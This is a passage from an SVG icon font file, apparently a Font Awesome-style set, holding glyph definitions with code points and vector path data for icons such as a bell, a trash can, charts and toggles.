q36 -11 68 -11q83 0 134 56q61 65 61 202zM1278 986q0 33 -23 56t-56 23t-56 -23t-23 -56t23 -56.5t56 -23.5t56 23.5t23 56.5zM2176 629q0 113 -48 176q-50 64 -144 64q-96 0 -151.5 -66t-55.5 -180q0 -128 63 -188q55 -55 161 -55q101 0 160 40l-16 103q-57 -31 -128 -31
q-43 0 -63 19q-23 19 -28 66h248q2 14 2 52zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_471" unicode="&#xf1f6;" horiz-adv-x="2048" 
d="M1558 684q61 -356 298 -556q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5zM1024 -176q16 0 16 16t-16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5zM2026 1424q8 -10 7.5 -23.5t-10.5 -22.5
l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5
l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_472" unicode="&#xf1f7;" horiz-adv-x="2048" 
d="M1040 -160q0 16 -16 16q-59 0 -101.5 42.5t-42.5 101.5q0 16 -16 16t-16 -16q0 -73 51.5 -124.5t124.5 -51.5q16 0 16 16zM503 315l877 760q-42 88 -132.5 146.5t-223.5 58.5q-93 0 -169.5 -31.5t-121.5 -80.5t-69 -103t-24 -105q0 -384 -137 -645zM1856 128
q0 -52 -38 -90t-90 -38h-448q0 -106 -75 -181t-181 -75t-180.5 74.5t-75.5 180.5l149 129h757q-166 187 -227 459l111 97q61 -356 298 -556zM1942 1520l84 -96q8 -10 7.5 -23.5t-10.5 -22.5l-1872 -1622q-10 -8 -23.5 -7t-21.5 11l-84 96q-8 10 -7.5 23.5t10.5 21.5l186 161
q-19 32 -19 66q50 42 91 88t85 119.5t74.5 158.5t50 206t19.5 260q0 152 117 282.5t307 158.5q-8 19 -8 39q0 40 28 68t68 28t68 -28t28 -68q0 -20 -8 -39q124 -18 219 -82.5t148 -157.5l418 363q10 8 23.5 7t21.5 -11z" />
    <glyph glyph-name="_473" unicode="&#xf1f8;" horiz-adv-x="1408" 
d="M512 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM768 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1024 160v704q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-704
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167
q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_474" unicode="&#xf1f9;" 
d="M1150 462v-109q0 -50 -36.5 -89t-94 -60.5t-118 -32.5t-117.5 -11q-205 0 -342.5 139t-137.5 346q0 203 136 339t339 136q34 0 75.5 -4.5t93 -18t92.5 -34t69 -56.5t28 -81v-109q0 -16 -16 -16h-118q-16 0 -16 16v70q0 43 -65.5 67.5t-137.5 24.5q-140 0 -228.5 -91.5
t-88.5 -237.5q0 -151 91.5 -249.5t233.5 -98.5q68 0 138 24t70 66v70q0 7 4.5 11.5t10.5 4.5h119q6 0 11 -4.5t5 -11.5zM768 1280q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51t248.5 51t204 136.5t136.5 204t51 248.5
t-51 248.5t-136.5 204t-204 136.5t-248.5 51zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_475" unicode="&#xf1fa;" 
d="M972 761q0 108 -53.5 169t-147.5 61q-63 0 -124 -30.5t-110 -84.5t-79.5 -137t-30.5 -180q0 -112 53.5 -173t150.5 -61q96 0 176 66.5t122.5 166t42.5 203.5zM1536 640q0 -111 -37 -197t-98.5 -135t-131.5 -74.5t-145 -27.5q-6 0 -15.5 -0.5t-16.5 -0.5q-95 0 -142 53
q-28 33 -33 83q-52 -66 -131.5 -110t-173.5 -44q-161 0 -249.5 95.5t-88.5 269.5q0 157 66 290t179 210.5t246 77.5q87 0 155 -35.5t106 -99.5l2 19l11 56q1 6 5.5 12t9.5 6h118q5 0 13 -11q5 -5 3 -16l-120 -614q-5 -24 -5 -48q0 -39 12.5 -52t44.5 -13q28 1 57 5.5t73 24
t77 50t57 89.5t24 137q0 292 -174 466t-466 174q-130 0 -248.5 -51t-204 -136.5t-136.5 -204t-51 -248.5t51 -248.5t136.5 -204t204 -136.5t248.5 -51q228 0 405 144q11 9 24 8t21 -12l41 -49q8 -12 7 -24q-2 -13 -12 -22q-102 -83 -227.5 -128t-258.5 -45q-156 0 -298 61
t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q344 0 556 -212t212 -556z" />
    <glyph glyph-name="_476" unicode="&#xf1fb;" horiz-adv-x="1792" 
d="M1698 1442q94 -94 94 -226.5t-94 -225.5l-225 -223l104 -104q10 -10 10 -23t-10 -23l-210 -210q-10 -10 -23 -10t-23 10l-105 105l-603 -603q-37 -37 -90 -37h-203l-256 -128l-64 64l128 256v203q0 53 37 90l603 603l-105 105q-10 10 -10 23t10 23l210 210q10 10 23 10
t23 -10l104 -104l223 225q93 94 225.5 94t226.5 -94zM512 64l576 576l-192 192l-576 -576v-192h192z" />
    <glyph glyph-name="f1fc" unicode="&#xf1fc;" horiz-adv-x="1792" 
d="M1615 1536q70 0 122.5 -46.5t52.5 -116.5q0 -63 -45 -151q-332 -629 -465 -752q-97 -91 -218 -91q-126 0 -216.5 92.5t-90.5 219.5q0 128 92 212l638 579q59 54 130 54zM706 502q39 -76 106.5 -130t150.5 -76l1 -71q4 -213 -129.5 -347t-348.5 -134q-123 0 -218 46.5
t-152.5 127.5t-86.5 183t-29 220q7 -5 41 -30t62 -44.5t59 -36.5t46 -17q41 0 55 37q25 66 57.5 112.5t69.5 76t88 47.5t103 25.5t125 10.5z" />
    <glyph glyph-name="_478" unicode="&#xf1fd;" horiz-adv-x="1792" 
d="M1792 128v-384h-1792v384q45 0 85 14t59 27.5t47 37.5q30 27 51.5 38t56.5 11q24 0 44 -7t31 -15t33 -27q29 -25 47 -38t58 -27t86 -14q45 0 85 14.5t58 27t48 37.5q21 19 32.5 27t31 15t43.5 7q35 0 56.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14t85 14t59 27.5
t47 37.5q30 27 51.5 38t56.5 11q34 0 55.5 -11t51.5 -38q28 -24 47 -37.5t59 -27.5t85 -14zM1792 448v-192q-24 0 -44 7t-31 15t-33 27q-29 25 -47 38t-58 27t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-22 -19 -33 -27t-31 -15t-44 -7q-35 0 -56.5 11t-51.5 38q-29 25 -47 38
t-58 27t-86 14q-45 0 -85 -14.5t-58 -27t-48 -37.5q-21 -19 -32.5 -27t-31 -15t-43.5 -7q-35 0 -56.5 11t-51.5 38q-28 24 -47 37.5t-59 27.5t-85 14q-46 0 -86 -14t-58 -27t-47 -38q-30 -27 -51.5 -38t-56.5 -11v192q0 80 56 136t136 56h64v448h256v-448h256v448h256v-448
h256v448h256v-448h64q80 0 136 -56t56 -136zM512 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1024 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5
q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150zM1536 1312q0 -77 -36 -118.5t-92 -41.5q-53 0 -90.5 37.5t-37.5 90.5q0 29 9.5 51t23.5 34t31 28t31 31.5t23.5 44.5t9.5 67q38 0 83 -74t45 -150z" />
    <glyph glyph-name="_479" unicode="&#xf1fe;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1664 1024l256 -896h-1664v576l448 576l576 -576z" />
    <glyph glyph-name="_480" unicode="&#xf200;" horiz-adv-x="1792" 
d="M768 646l546 -546q-106 -108 -247.5 -168t-298.5 -60q-209 0 -385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103v-762zM955 640h773q0 -157 -60 -298.5t-168 -247.5zM1664 768h-768v768q209 0 385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_481" unicode="&#xf201;" horiz-adv-x="2048" 
d="M2048 0v-128h-2048v1536h128v-1408h1920zM1920 1248v-435q0 -21 -19.5 -29.5t-35.5 7.5l-121 121l-633 -633q-10 -10 -23 -10t-23 10l-233 233l-416 -416l-192 192l585 585q10 10 23 10t23 -10l233 -233l464 464l-121 121q-16 16 -7.5 35.5t29.5 19.5h435q14 0 23 -9
t9 -23z" />
    <glyph glyph-name="_482" unicode="&#xf202;" horiz-adv-x="1792" 
d="M1292 832q0 -6 10 -41q10 -29 25 -49.5t41 -34t44 -20t55 -16.5q325 -91 325 -332q0 -146 -105.5 -242.5t-254.5 -96.5q-59 0 -111.5 18.5t-91.5 45.5t-77 74.5t-63 87.5t-53.5 103.5t-43.5 103t-39.5 106.5t-35.5 95q-32 81 -61.5 133.5t-73.5 96.5t-104 64t-142 20
q-96 0 -183 -55.5t-138 -144.5t-51 -185q0 -160 106.5 -279.5t263.5 -119.5q177 0 258 95q56 63 83 116l84 -152q-15 -34 -44 -70l1 -1q-131 -152 -388 -152q-147 0 -269.5 79t-190.5 207.5t-68 274.5q0 105 43.5 206t116 176.5t172 121.5t204.5 46q87 0 159 -19t123.5 -50
t95 -80t72.5 -99t58.5 -117t50.5 -124.5t50 -130.5t55 -127q96 -200 233 -200q81 0 138.5 48.5t57.5 128.5q0 42 -19 72t-50.5 46t-72.5 31.5t-84.5 27t-87.5 34t-81 52t-65 82t-39 122.5q-3 16 -3 33q0 110 87.5 192t198.5 78q78 -3 120.5 -14.5t90.5 -53.5h-1
q12 -11 23 -24.5t26 -36t19 -27.5l-129 -99q-26 49 -54 70v1q-23 21 -97 21q-49 0 -84 -33t-35 -83z" />
    <glyph glyph-name="_483" unicode="&#xf203;" 
d="M1432 484q0 173 -234 239q-35 10 -53 16.5t-38 25t-29 46.5q0 2 -2 8.5t-3 12t-1 7.5q0 36 24.5 59.5t60.5 23.5q54 0 71 -15h-1q20 -15 39 -51l93 71q-39 54 -49 64q-33 29 -67.5 39t-85.5 10q-80 0 -142 -57.5t-62 -137.5q0 -7 2 -23q16 -96 64.5 -140t148.5 -73
q29 -8 49 -15.5t45 -21.5t38.5 -34.5t13.5 -46.5v-5q1 -58 -40.5 -93t-100.5 -35q-97 0 -167 144q-23 47 -51.5 121.5t-48 125.5t-54 110.5t-74 95.5t-103.5 60.5t-147 24.5q-101 0 -192 -56t-144 -148t-50 -192v-1q4 -108 50.5 -199t133.5 -147.5t196 -56.5q186 0 279 110
q20 27 31 51l-60 109q-42 -80 -99 -116t-146 -36q-115 0 -191 87t-76 204q0 105 82 189t186 84q112 0 170 -53.5t104 -172.5q8 -21 25.5 -68.5t28.5 -76.5t31.5 -74.5t38.5 -74t45.5 -62.5t55.5 -53.5t66 -33t80 -13.5q107 0 183 69.5t76 174.5zM1536 1120v-960
q0 -119 -84.5 -203.5t-203.5 -84.5h-960q-119 0 -203.5 84.5t-84.5 203.5v960q0 119 84.5 203.5t203.5 84.5h960q119 0 203.5 -84.5t84.5 -203.5z" />
    <glyph glyph-name="_484" unicode="&#xf204;" horiz-adv-x="2048" 
d="M1152 640q0 104 -40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM1920 640q0 104 -40.5 198.5
t-109.5 163.5t-163.5 109.5t-198.5 40.5h-386q119 -90 188.5 -224t69.5 -288t-69.5 -288t-188.5 -224h386q104 0 198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5zM2048 640q0 -130 -51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5
t-136.5 204t-51 248.5t51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5z" />
    <glyph glyph-name="_485" unicode="&#xf205;" horiz-adv-x="2048" 
d="M0 640q0 130 51 248.5t136.5 204t204 136.5t248.5 51h768q130 0 248.5 -51t204 -136.5t136.5 -204t51 -248.5t-51 -248.5t-136.5 -204t-204 -136.5t-248.5 -51h-768q-130 0 -248.5 51t-204 136.5t-136.5 204t-51 248.5zM1408 128q104 0 198.5 40.5t163.5 109.5
t109.5 163.5t40.5 198.5t-40.5 198.5t-109.5 163.5t-163.5 109.5t-198.5 40.5t-198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5z" />
    <glyph glyph-name="_486" unicode="&#xf206;" horiz-adv-x="2304" 
d="M762 384h-314q-40 0 -57.5 35t6.5 67l188 251q-65 31 -137 31q-132 0 -226 -94t-94 -226t94 -226t226 -94q115 0 203 72.5t111 183.5zM576 512h186q-18 85 -75 148zM1056 512l288 384h-480l-99 -132q105 -103 126 -252h165zM2176 448q0 132 -94 226t-226 94
q-60 0 -121 -24l174 -260q15 -23 10 -49t-27 -40q-15 -11 -36 -11q-35 0 -53 29l-174 260q-93 -95 -93 -225q0 -132 94 -226t226 -94t226 94t94 226zM2304 448q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 97 39.5 183.5t109.5 149.5l-65 98l-353 -469
q-18 -26 -51 -26h-197q-23 -164 -149 -274t-294 -110q-185 0 -316.5 131.5t-131.5 316.5t131.5 316.5t316.5 131.5q114 0 215 -55l137 183h-224q-26 0 -45 19t-19 45t19 45t45 19h384v-128h435l-85 128h-222q-26 0 -45 19t-19 45t19 45t45 19h256q33 0 53 -28l267 -400
q91 44 192 44q185 0 316.5 -131.5t131.5 -316.5z" />
    <glyph glyph-name="_487" unicode="&#xf207;" 
d="M384 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 320q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1362 716l-72 384q-5 23 -22.5 37.5t-40.5 14.5
h-918q-23 0 -40.5 -14.5t-22.5 -37.5l-72 -384q-5 -30 14 -53t49 -23h1062q30 0 49 23t14 53zM1136 1328q0 20 -14 34t-34 14h-640q-20 0 -34 -14t-14 -34t14 -34t34 -14h640q20 0 34 14t14 34zM1536 603v-603h-128v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5
t-37.5 90.5v128h-768v-128q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5v128h-128v603q0 112 25 223l103 454q9 78 97.5 137t230 89t312.5 30t312.5 -30t230 -89t97.5 -137l105 -454q23 -102 23 -223z" />
    <glyph glyph-name="_488" unicode="&#xf208;" horiz-adv-x="2048" 
d="M1463 704q0 -35 -25 -60.5t-61 -25.5h-702q-36 0 -61 25.5t-25 60.5t25 60.5t61 25.5h702q36 0 61 -25.5t25 -60.5zM1677 704q0 86 -23 170h-982q-36 0 -61 25t-25 60q0 36 25 61t61 25h908q-88 143 -235 227t-320 84q-177 0 -327.5 -87.5t-238 -237.5t-87.5 -327
q0 -86 23 -170h982q36 0 61 -25t25 -60q0 -36 -25 -61t-61 -25h-908q88 -143 235.5 -227t320.5 -84q132 0 253 51.5t208 139t139 208t52 253.5zM2048 959q0 -35 -25 -60t-61 -25h-131q17 -85 17 -170q0 -167 -65.5 -319.5t-175.5 -263t-262.5 -176t-319.5 -65.5
q-246 0 -448.5 133t-301.5 350h-189q-36 0 -61 25t-25 61q0 35 25 60t61 25h132q-17 85 -17 170q0 167 65.5 319.5t175.5 263t262.5 176t320.5 65.5q245 0 447.5 -133t301.5 -350h188q36 0 61 -25t25 -61z" />
    <glyph glyph-name="_489" unicode="&#xf209;" horiz-adv-x="1280" 
d="M953 1158l-114 -328l117 -21q165 451 165 518q0 56 -38 56q-57 0 -130 -225zM654 471l33 -88q37 42 71 67l-33 5.5t-38.5 7t-32.5 8.5zM362 1367q0 -98 159 -521q17 10 49 10q15 0 75 -5l-121 351q-75 220 -123 220q-19 0 -29 -17.5t-10 -37.5zM283 608q0 -36 51.5 -119
t117.5 -153t100 -70q14 0 25.5 13t11.5 27q0 24 -32 102q-13 32 -32 72t-47.5 89t-61.5 81t-62 32q-20 0 -45.5 -27t-25.5 -47zM125 273q0 -41 25 -104q59 -145 183.5 -227t281.5 -82q227 0 382 170q152 169 152 427q0 43 -1 67t-11.5 62t-30.5 56q-56 49 -211.5 75.5
t-270.5 26.5q-37 0 -49 -11q-12 -5 -12 -35q0 -34 21.5 -60t55.5 -40t77.5 -23.5t87.5 -11.5t85 -4t70 0h23q24 0 40 -19q15 -19 19 -55q-28 -28 -96 -54q-61 -22 -93 -46q-64 -46 -108.5 -114t-44.5 -137q0 -31 18.5 -88.5t18.5 -87.5l-3 -12q-4 -12 -4 -14
q-137 10 -146 216q-8 -2 -41 -2q2 -7 2 -21q0 -53 -40.5 -89.5t-94.5 -36.5q-82 0 -166.5 78t-84.5 159q0 34 33 67q52 -64 60 -76q77 -104 133 -104q12 0 26.5 8.5t14.5 20.5q0 34 -87.5 145t-116.5 111q-43 0 -70 -44.5t-27 -90.5zM11 264q0 101 42.5 163t136.5 88
q-28 74 -28 104q0 62 61 123t122 61q29 0 70 -15q-163 462 -163 567q0 80 41 130.5t119 50.5q131 0 325 -581q6 -17 8 -23q6 16 29 79.5t43.5 118.5t54 127.5t64.5 123t70.5 86.5t76.5 36q71 0 112 -49t41 -122q0 -108 -159 -550q61 -15 100.5 -46t58.5 -78t26 -93.5
t7 -110.5q0 -150 -47 -280t-132 -225t-211 -150t-278 -55q-111 0 -223 42q-149 57 -258 191.5t-109 286.5z" />
    <glyph glyph-name="_490" unicode="&#xf20a;" horiz-adv-x="2048" 
d="M785 528h207q-14 -158 -98.5 -248.5t-214.5 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-203q-5 64 -35.5 99t-81.5 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t40 -51.5t66 -18q95 0 109 139zM1497 528h206
q-14 -158 -98 -248.5t-214 -90.5q-162 0 -254.5 116t-92.5 316q0 194 93 311.5t233 117.5q148 0 232 -87t97 -247h-204q-4 64 -35 99t-81 35q-57 0 -88.5 -60.5t-31.5 -177.5q0 -48 5 -84t18 -69.5t39.5 -51.5t65.5 -18q49 0 76.5 38t33.5 101zM1856 647q0 207 -15.5 307
t-60.5 161q-6 8 -13.5 14t-21.5 15t-16 11q-86 63 -697 63q-625 0 -710 -63q-5 -4 -17.5 -11.5t-21 -14t-14.5 -14.5q-45 -60 -60 -159.5t-15 -308.5q0 -208 15 -307.5t60 -160.5q6 -8 15 -15t20.5 -14t17.5 -12q44 -33 239.5 -49t470.5 -16q610 0 697 65q5 4 17 11t20.5 14
t13.5 16q46 60 61 159t15 309zM2048 1408v-1536h-2048v1536h2048z" />
    <glyph glyph-name="_491" unicode="&#xf20b;" 
d="M992 912v-496q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v496q0 112 -80 192t-192 80h-272v-1152q0 -14 -9 -23t-23 -9h-160q-14 0 -23 9t-9 23v1344q0 14 9 23t23 9h464q135 0 249 -66.5t180.5 -180.5t66.5 -249zM1376 1376v-880q0 -135 -66.5 -249t-180.5 -180.5
t-249 -66.5h-464q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h160q14 0 23 -9t9 -23v-768h272q112 0 192 80t80 192v880q0 14 9 23t23 9h160q14 0 23 -9t9 -23z" />
    <glyph glyph-name="_492" unicode="&#xf20c;" 
d="M1311 694v-114q0 -24 -13.5 -38t-37.5 -14h-202q-24 0 -38 14t-14 38v114q0 24 14 38t38 14h202q24 0 37.5 -14t13.5 -38zM821 464v250q0 53 -32.5 85.5t-85.5 32.5h-133q-68 0 -96 -52q-28 52 -96 52h-130q-53 0 -85.5 -32.5t-32.5 -85.5v-250q0 -22 21 -22h55
q22 0 22 22v230q0 24 13.5 38t38.5 14h94q24 0 38 -14t14 -38v-230q0 -22 21 -22h54q22 0 22 22v230q0 24 14 38t38 14h97q24 0 37.5 -14t13.5 -38v-230q0 -22 22 -22h55q21 0 21 22zM1410 560v154q0 53 -33 85.5t-86 32.5h-264q-53 0 -86 -32.5t-33 -85.5v-410
q0 -21 22 -21h55q21 0 21 21v180q31 -42 94 -42h191q53 0 86 32.5t33 85.5zM1536 1176v-1072q0 -96 -68 -164t-164 -68h-1072q-96 0 -164 68t-68 164v1072q0 96 68 164t164 68h1072q96 0 164 -68t68 -164z" />
    <glyph glyph-name="_493" unicode="&#xf20d;" 
d="M915 450h-294l147 551zM1001 128h311l-324 1024h-440l-324 -1024h311l383 314zM1536 1120v-960q0 -118 -85 -203t-203 -85h-960q-118 0 -203 85t-85 203v960q0 118 85 203t203 85h960q118 0 203 -85t85 -203z" />
    <glyph glyph-name="_494" unicode="&#xf20e;" horiz-adv-x="2048" 
d="M2048 641q0 -21 -13 -36.5t-33 -19.5l-205 -356q3 -9 3 -18q0 -20 -12.5 -35.5t-32.5 -19.5l-193 -337q3 -8 3 -16q0 -23 -16.5 -40t-40.5 -17q-25 0 -41 18h-400q-17 -20 -43 -20t-43 20h-399q-17 -20 -43 -20q-23 0 -40 16.5t-17 40.5q0 8 4 20l-193 335
q-20 4 -32.5 19.5t-12.5 35.5q0 9 3 18l-206 356q-20 5 -32.5 20.5t-12.5 35.5q0 21 13.5 36.5t33.5 19.5l199 344q0 1 -0.5 3t-0.5 3q0 36 34 51l209 363q-4 10 -4 18q0 24 17 40.5t40 16.5q26 0 44 -21h396q16 21 43 21t43 -21h398q18 21 44 21q23 0 40 -16.5t17 -40.5
q0 -6 -4 -18l207 -358q23 -1 39 -17.5t16 -38.5q0 -13 -7 -27l187 -324q19 -4 31.5 -19.5t12.5 -35.5zM1063 -158h389l-342 354h-143l-342 -354h360q18 16 39 16t39 -16zM112 654q1 -4 1 -13q0 -10 -2 -15l208 -360l15 -6l188 199v347l-187 194q-13 -8 -29 -10zM986 1438
h-388l190 -200l554 200h-280q-16 -16 -38 -16t-38 16zM1689 226q1 6 5 11l-64 68l-17 -79h76zM1583 226l22 105l-252 266l-296 -307l63 -64h463zM1495 -142l16 28l65 310h-427l333 -343q8 4 13 5zM578 -158h5l342 354h-373v-335l4 -6q14 -5 22 -13zM552 226h402l64 66
l-309 321l-157 -166v-221zM359 226h163v189l-168 -177q4 -8 5 -12zM358 1051q0 -1 0.5 -2t0.5 -2q0 -16 -8 -29l171 -177v269zM552 1121v-311l153 -157l297 314l-223 236zM556 1425l-4 -8v-264l205 74l-191 201q-6 -2 -10 -3zM1447 1438h-16l-621 -224l213 -225zM1023 946
l-297 -315l311 -319l296 307zM688 634l-136 141v-284zM1038 270l-42 -44h85zM1374 618l238 -251l132 624l-3 5l-1 1zM1718 1018q-8 13 -8 29v2l-216 376q-5 1 -13 5l-437 -463l310 -327zM522 1142v223l-163 -282zM522 196h-163l163 -283v283zM1607 196l-48 -227l130 227h-82
zM1729 266l207 361q-2 10 -2 14q0 1 3 16l-171 296l-129 -612l77 -82q5 3 15 7z" />
    <glyph glyph-name="f210" unicode="&#xf210;" 
d="M0 856q0 131 91.5 226.5t222.5 95.5h742l352 358v-1470q0 -132 -91.5 -227t-222.5 -95h-780q-131 0 -222.5 95t-91.5 227v790zM1232 102l-176 180v425q0 46 -32 79t-78 33h-484q-46 0 -78 -33t-32 -79v-492q0 -46 32.5 -79.5t77.5 -33.5h770z" />
    <glyph glyph-name="_496" unicode="&#xf211;" 
d="M934 1386q-317 -121 -556 -362.5t-358 -560.5q-20 89 -20 176q0 208 102.5 384.5t278.5 279t384 102.5q82 0 169 -19zM1203 1267q93 -65 164 -155q-389 -113 -674.5 -400.5t-396.5 -676.5q-93 72 -155 162q112 386 395 671t667 399zM470 -67q115 356 379.5 622t619.5 384
q40 -92 54 -195q-292 -120 -516 -345t-343 -518q-103 14 -194 52zM1536 -125q-193 50 -367 115q-135 -84 -290 -107q109 205 274 370.5t369 275.5q-21 -152 -101 -284q65 -175 115 -370z" />
    <glyph glyph-name="f212" unicode="&#xf212;" horiz-adv-x="2048" 
d="M1893 1144l155 -1272q-131 0 -257 57q-200 91 -393 91q-226 0 -374 -148q-148 148 -374 148q-193 0 -393 -91q-128 -57 -252 -57h-5l155 1272q224 127 482 127q233 0 387 -106q154 106 387 106q258 0 482 -127zM1398 157q129 0 232 -28.5t260 -93.5l-124 1021
q-171 78 -368 78q-224 0 -374 -141q-150 141 -374 141q-197 0 -368 -78l-124 -1021q105 43 165.5 65t148.5 39.5t178 17.5q202 0 374 -108q172 108 374 108zM1438 191l-55 907q-211 -4 -359 -155q-152 155 -374 155q-176 0 -336 -66l-114 -941q124 51 228.5 76t221.5 25
q209 0 374 -102q172 107 374 102z" />
    <glyph glyph-name="_498" unicode="&#xf213;" horiz-adv-x="2048" 
d="M1500 165v733q0 21 -15 36t-35 15h-93q-20 0 -35 -15t-15 -36v-733q0 -20 15 -35t35 -15h93q20 0 35 15t15 35zM1216 165v531q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-531q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM924 165v429q0 20 -15 35t-35 15h-101
q-20 0 -35 -15t-15 -35v-429q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM632 165v362q0 20 -15 35t-35 15h-101q-20 0 -35 -15t-15 -35v-362q0 -20 15 -35t35 -15h101q20 0 35 15t15 35zM2048 311q0 -166 -118 -284t-284 -118h-1244q-166 0 -284 118t-118 284
q0 116 63 214.5t168 148.5q-10 34 -10 73q0 113 80.5 193.5t193.5 80.5q102 0 180 -67q45 183 194 300t338 117q149 0 275 -73.5t199.5 -199.5t73.5 -275q0 -66 -14 -122q135 -33 221 -142.5t86 -247.5z" />
    <glyph glyph-name="_499" unicode="&#xf214;" 
d="M0 1536h1536v-1392l-776 -338l-760 338v1392zM1436 209v926h-1336v-926l661 -294zM1436 1235v201h-1336v-201h1336zM181 937v-115h-37v115h37zM181 789v-115h-37v115h37zM181 641v-115h-37v115h37zM181 493v-115h-37v115h37zM181 345v-115h-37v115h37zM207 202l15 34
l105 -47l-15 -33zM343 142l15 34l105 -46l-15 -34zM478 82l15 34l105 -46l-15 -34zM614 23l15 33l104 -46l-15 -34zM797 10l105 46l15 -33l-105 -47zM932 70l105 46l15 -34l-105 -46zM1068 130l105 46l15 -34l-105 -46zM1203 189l105 47l15 -34l-105 -46zM259 1389v-36h-114
v36h114zM421 1389v-36h-115v36h115zM583 1389v-36h-115v36h115zM744 1389v-36h-114v36h114zM906 1389v-36h-114v36h114zM1068 1389v-36h-115v36h115zM1230 1389v-36h-115v36h115zM1391 1389v-36h-114v36h114zM181 1049v-79h-37v115h115v-36h-78zM421 1085v-36h-115v36h115z
M583 1085v-36h-115v36h115zM744 1085v-36h-114v36h114zM906 1085v-36h-114v36h114zM1068 1085v-36h-115v36h115zM1230 1085v-36h-115v36h115zM1355 970v79h-78v36h115v-115h-37zM1355 822v115h37v-115h-37zM1355 674v115h37v-115h-37zM1355 526v115h37v-115h-37zM1355 378
v115h37v-115h-37zM1355 230v115h37v-115h-37zM760 265q-129 0 -221 91.5t-92 221.5q0 129 92 221t221 92q130 0 221.5 -92t91.5 -221q0 -130 -91.5 -221.5t-221.5 -91.5zM595 646q0 -36 19.5 -56.5t49.5 -25t64 -7t64 -2t49.5 -9t19.5 -30.5q0 -49 -112 -49q-97 0 -123 51
h-3l-31 -63q67 -42 162 -42q29 0 56.5 5t55.5 16t45.5 33t17.5 53q0 46 -27.5 69.5t-67.5 27t-79.5 3t-67 5t-27.5 25.5q0 21 20.5 33t40.5 15t41 3q34 0 70.5 -11t51.5 -34h3l30 58q-3 1 -21 8.5t-22.5 9t-19.5 7t-22 7t-20 4.5t-24 4t-23 1q-29 0 -56.5 -5t-54 -16.5
t-43 -34t-16.5 -53.5z" />
    <glyph glyph-name="_500" unicode="&#xf215;" horiz-adv-x="2048" 
